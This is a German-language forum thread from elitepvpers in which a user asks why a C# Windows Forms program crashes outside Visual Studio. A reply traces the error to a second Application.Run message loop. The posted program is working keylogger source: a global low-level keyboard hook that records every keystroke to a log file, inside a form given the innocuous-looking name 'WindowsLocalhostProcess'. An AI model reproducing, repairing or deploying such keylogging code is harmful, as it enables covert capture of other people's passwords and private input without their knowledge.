Register for your free account! | Forgot your password?

Go Back   elitepvpers > Coders Den > .NET Languages
You last visited: Today at 23:49

  • Please register to post and access all features, it's quick, easy and FREE!

Advertisement



Microsoft.NET Framework Error

Discussion on Microsoft.NET Framework Error within the .NET Languages forum part of the Coders Den category.

Reply
 
Old   #1
 
Zocker1's Avatar
 
elite*gold: 0
Join Date: May 2009
Posts: 74
Received Thanks: 11
Microsoft.NET Framework Error

Hab ein recht simples Programm in VS Express 2015 geschrieben.
Es soll die Tastenanschläge in ein txt-file speichern.

Beim Debuggen in VS gibs keine Probleme, jedoch wenn ich die .exe außerhalb von VS ausführ dann bekomme ich eine Fehlermeldung.


Fehlermeldung:

Jedoch kann ich mit der Fehlermeldung nichts anfangen und Google konnte mir auch nicht weiterhelfen.

Hier das Programm:
Code:
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Windows.Forms;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.IO;

namespace WindowsFormsApplication11
{
    public partial class WindowsLocalhostProcess : Form
    {


        public WindowsLocalhostProcess()
        {
            InitializeComponent();
        }
           
       
        private static IntPtr _hookID = IntPtr.Zero;
        

        private void WindowsLocalhostProcess_Load(object sender, EventArgs e)
        {            
            _hookID = SetHook(HookCallback);
            Application.Run();
            UnhookWindowsHookEx(_hookID);            
        }



        private delegate IntPtr LowLevelKeyboardProc(int nCode, IntPtr wParam, IntPtr lParam);


        private static IntPtr HookCallback(
            int nCode, IntPtr wParam, IntPtr lParam)
        {
            if (nCode >= 0 && wParam == (IntPtr)0x0100)
            {
                int vkCode = Marshal.ReadInt32(lParam);
                Console.WriteLine((Keys)vkCode);
                StreamWriter sw = new StreamWriter(Application.StartupPath + @"\log.txt", true);
                sw.Write((Keys)vkCode);
                sw.Close();
            }
            return CallNextHookEx(_hookID, nCode, wParam, lParam);
        }





        private static IntPtr SetHook(LowLevelKeyboardProc proc)
        {
            using (Process curProcess = Process.GetCurrentProcess())
            using (ProcessModule curModule = curProcess.MainModule)
            {
                return SetWindowsHookEx(13, proc, GetModuleHandle(curModule.ModuleName), 0);
            }
        }





        [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
        private static extern IntPtr SetWindowsHookEx(int idHook,
            LowLevelKeyboardProc lpfn, IntPtr hMod, uint dwThreadId);

        [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
        [return: MarshalAs(UnmanagedType.Bool)]
        private static extern bool UnhookWindowsHookEx(IntPtr hhk);

        [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
        private static extern IntPtr CallNextHookEx(IntPtr hhk, int nCode,
            IntPtr wParam, IntPtr lParam);

        [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
        private static extern IntPtr GetModuleHandle(string lpModuleName);


    }
}

Bitte um Hilfe.
mfG
Zocker1 is offline  
Old 08/15/2015, 11:28   #2
 
elite*gold: 0
Join Date: Feb 2009
Posts: 1,137
Received Thanks: 573
Quote:
System.InvalidOperationException: Das Starten einer zweiten Meldungsschleife auf einem einzelnen Thread ist ein ungültiger Vorgang.
Daher schätze ich es liegt am Application.Run();

Diese .Net Fehlermeldungen sind echt nicht schwer zu verstehen, da hättest du selbst drauf kommen können

PS: Sieht so aus als hättest du die Debug executable ausgeführt, bau dein Projekt als Release wenn du es ohne Debugger nutzen willst
warfley is offline  
Old 08/15/2015, 13:00   #3
 
Zocker1's Avatar
 
elite*gold: 0
Join Date: May 2009
Posts: 74
Received Thanks: 11
Danke für die schnelle Antwort.

Was meinst du mit es liegt am Application.Run()?

Als Release bekomm ich die gleiche Fehlermeldung

Hab einfach try catch gemacht und jetzt klappts

Danke für die Hilfe und ein schönes Wochenende
Zocker1 is offline  
Reply


Similar Threads Similar Threads
Microsoft .NET Framework
05/12/2012 - Technical Support - 3 Replies
Sers Leute, als ich meinen pc heute startete kam diese Meldung. epvpImg: le image upload ^_^ Was heißt das?
Microsoft NET Framework İnitialization Error Help Pls :)
01/07/2012 - Metin2 - 1 Replies
Hi epvp , http://www.m2-kaos.com/hata.jpg I get the following error when opening a Der Great.exe how to fix ??
Microsoft .Net Framework ferhlermeldung
05/09/2011 - Technical Support - 10 Replies
hallo liebe com ich bekomme seit einigen tagen eine fehler meldung von microsfot .net framework ich stelle euch den text rein ich bekomme die meldung nicht weg habe framework gelöscht geht auch nicht kommt weiter habe alles versucht bekomme sie nicht weg bitte um hilfe Informationen über das Aufrufen von JIT-Debuggen
Microsoft .NET Framework ???
10/06/2010 - Metin2 Private Server - 1 Replies
When i open M2 MultiHack v9.0 + SharkBot it says " Unhandled exception occured in you appliaction.If you click Continue, the application will ignore this error and attempt to continue.If you click Quit,the application will close immediately. What the heck?.I wanna play on p sever and it drops me out when i try to "hack" ..Can anyone help how to get it to work?:s



All times are GMT +2. The time now is 23:49.


Powered by vBulletin®
Copyright ©2000 - 2026, Jelsoft Enterprises Ltd.
SEO by vBSEO ©2011, Crawlability, Inc.

Support | Contact Us | FAQ | Advertising | Privacy Policy | Terms of Service | Abuse
Copyright ©2026 elitepvpers All Rights Reserved.